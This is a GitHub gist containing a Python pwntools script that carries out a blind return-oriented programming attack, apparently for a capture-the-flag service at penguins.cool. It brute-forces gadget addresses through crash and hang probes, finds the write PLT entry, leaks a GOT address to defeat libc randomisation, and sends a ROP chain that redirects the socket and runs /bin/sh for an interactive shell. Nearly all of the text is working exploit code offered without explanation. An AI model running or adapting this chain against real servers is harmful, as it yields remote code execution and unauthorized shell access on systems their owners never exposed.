Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
from pwn import *
import threading, sys, struct
prefix = 'A' * 0x10 + p64(0x7fff262c0500)
crash_probe = 0xffffffff
hang_probe = 0x4009aa
TEST_PASS = 0
TEST_CRASH = 1
TEST_HANG = 2
TEST_READ = 3
test_names = ['PASS', 'CRASH', 'HANG', 'READ']
def leak_test(*addrs):
probes = struct.pack('<' + 'Q' * len(addrs), *addrs)
context.log_level = 'warning'
p = remote('penguins.cool', 1337)
p.recvuntil('say?\n\0')
p.send(prefix + probes)
p.shutdown('send')
try:
return p.recv(timeout=2)
except:
return ''
p.close()
def _do_test(probes, test_hang=True, test_read=False, do_shutdown=True, timeout=.8):
context.log_level = 'warning'
p = remote('penguins.cool', 1337)
p.recvuntil('say?\n\0')
p.send(prefix + probes)
if do_shutdown:
p.shutdown('send')
try:
data = p.recv(timeout=timeout)
if not data and test_hang:
if timeout < 3:
return _do_test(probes, test_hang, test_read, do_shutdown, 5)
elif do_shutdown:
return TEST_HANG
else:
return TEST_READ
except:
return TEST_CRASH
finally:
p.close()
if test_read and do_shutdown:
return _do_test(probes, test_hang, test_read, False, False, timeout)
else:
return TEST_PASS
def do_test(*addrs):
probes = struct.pack('<' + 'Q' * len(addrs), *addrs)
ret = _do_test(probes)
#print('0x{:016x}: {}'.format(addrs[0], test_names[ret]))
return ret
def do_test_nohang(*addrs):
import struct
probes = struct.pack('<' + 'Q' * len(addrs), *addrs)
ret = _do_test(probes, False)
return ret
def probe_is_pop(addr, low_pop, high_pop):
if do_test(addr) != TEST_CRASH:
return False
probing = [addr] + [crash_probe] * (low_pop)
probing += [hang_probe] * (high_pop - low_pop + 1)
probing += [crash_probe] * 10
if do_test(*tuple(probing)) == TEST_CRASH:
return False
return True
def probe_is_ret(addr):
if do_test(addr) != TEST_CRASH:
return False
if (do_test(addr, hang_probe, crash_probe, crash_probe, crash_probe,
crash_probe, crash_probe, crash_probe, crash_probe, ) == TEST_HANG):
return True
return False
def find_pops(low, high):
for i in range(low, high):
if probe_is_pop(i, 3, 6):
print('0x{:08x}: potential BROP'.format(i))
for j in range(3, 7):
print(' Testing POP({})'.format(j))
if probe_is_pop(i, j, j):
print(' 0x{:08x}: POP({})'.format(i, j))
break
else:
print('0x{:08x}:'.format(i))
def scan_crash(low, high):
for i in range(low, high):
probes = [i] + [hang_probe] * 16
if do_test_nohang(*probes) == TEST_CRASH:
print('0x{:08x}: CRASH'.format(i))
else:
print('0x{:08x}:'.format(i))
def test_call(func, arg1, arg2):
probes = [pop_rdi, arg1, pop_rsi_r15, arg2, 0, func, hang_probe]
if do_test(*probes) != TEST_CRASH:
return True
else:
return False
def print_func_rdx(func, arg1, arg2, arg3_rdx):
#probes = [pop_rdi, arg3_rdx, pop_rsi_r15, arg3_rdx, 0, plt_strcmp, pop_rdi,
# arg1, pop_rsi_r15, arg2, 0, func]
probes = [pop_rdi, arg1, pop_rsi_r15, arg2, 0, func, hang_probe]
print(enhex(leak_test(*probes)))
def probe_ro_func():
for i in range(low, high, 0x10):
print('Testing 0x{:08x}'.format(i))
if test_call(i, elf, 0):
print(' PASS (roaddr, 0)')
if test_call(i, 0, elf):
print(' PASS (0, roaddr)')
if test_call(i, elf, elf):
print(' PASS (roaddr, roaddr)')
if test_call(i, 0, 0):
print(' PASS (0, 0)')
def probe_write():
for i in range(low, high, 0x10):
print('Testing 0x{:08x}'.format(i))
if test_call(i, 4, elf):
print(' PASS (4, roaddr)')
print('*******')
print_func_rdx(i, 4, elf, elf)
print('*******')
def leak_from(addr):
probes = [pop_rdi, 4, pop_rsi_r15, addr, 0, plt_write, 0]
print('{:08x}'.format(addr))
return leak_test(*probes)
def leak_range(low, high):
full = ''
while low < high:
if high - low >= rdx_val:
data = leak_from(low)
assert len(data) == rdx_val
low += rdx_val
full += data
else:
chop = (rdx_val - (high - low))
data = leak_from(high - rdx_val)
assert len(data) == rdx_val
full += data
break
return full
def write_to(addr, msg):
p.recvuntil('signal')
p.send(msg)
p.close()
#assert do_test(crash_probe) == TEST_CRASH
#assert do_test(hang_probe) == TEST_HANG
elf = 0x400000
pop_rdi = 0x00400c04
pop_rsi_r15 = 0x00400c02
plt_start = 0x00400880
plt_strcmp = 0x00400950
plt_write = 0x004008c0
rdx_val = 65
str_signal = 0x40053B
got_write = 0x602028
libc = ELF('../libc_64.so')
off_write = libc.symbols.write
off_read = libc.symbols.read
off_system = libc.symbols.system
off_binsh = next(libc.search('/bin/sh\0'))
off_dup2 = libc.symbols.dup2
off_pop_rdx = 0x0000000000001b92 # pop rdx ; ret
off_pop_rax = 0x0000000000033544 # pop rax ; ret
null = 0x602800
if __name__ == '__main__':
#low = int(sys.argv[1], 0)
#high = int(sys.argv[2], 0)
# First scan for pop rdi/rsi gadgest
# find_pops(low, high)
# Second search for PLT
# scan_crash(low, high)
# Probe for various PLT functions.
#probe_ro_func()
# Now take PLT functions and probe for write!
#probe_write()
# Now leak binary
#with open('leaked.bin', 'w') as f:
# f.write(leak_range(low, high))
# Leak some GOT addresses
leak = u64(leak_from(got_write)[:8])
context.log_level = 'info'
log.success('Leaked at: 0x{:016x}'.format(leak))
libc_base = leak - off_write
log.success('Libc base is: 0x{:016x}'.format(libc_base))
libc_read = libc_base + off_read
libc_system = libc_base + off_system
libc_binsh = libc_base + off_binsh
libc_dup2 = libc_base + off_dup2
libc_pop_rdx = libc_base + off_pop_rdx
libc_pop_rax = libc_base + off_pop_rax
libc_syscall = libc_base + 0x26bf
print(enhex(leak_range(libc_binsh, libc_binsh + 0x100)))
rop = [ pop_rdi, 4, pop_rsi_r15, 0, 0, libc_dup2,
pop_rdi, 4, pop_rsi_r15, 1, 0, libc_dup2,
pop_rdi, 4, pop_rsi_r15, 2, 0, libc_dup2,
libc_pop_rax, 59, pop_rsi_r15, null, 0,
libc_pop_rdx, null, pop_rdi, libc_binsh, libc_syscall]
print(rop)
probes = struct.pack('<' + 'Q' * len(rop), *rop)
p = remote('penguins.cool', 1337)
p.recvuntil('say?\n\0')
p.send(prefix + probes)
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.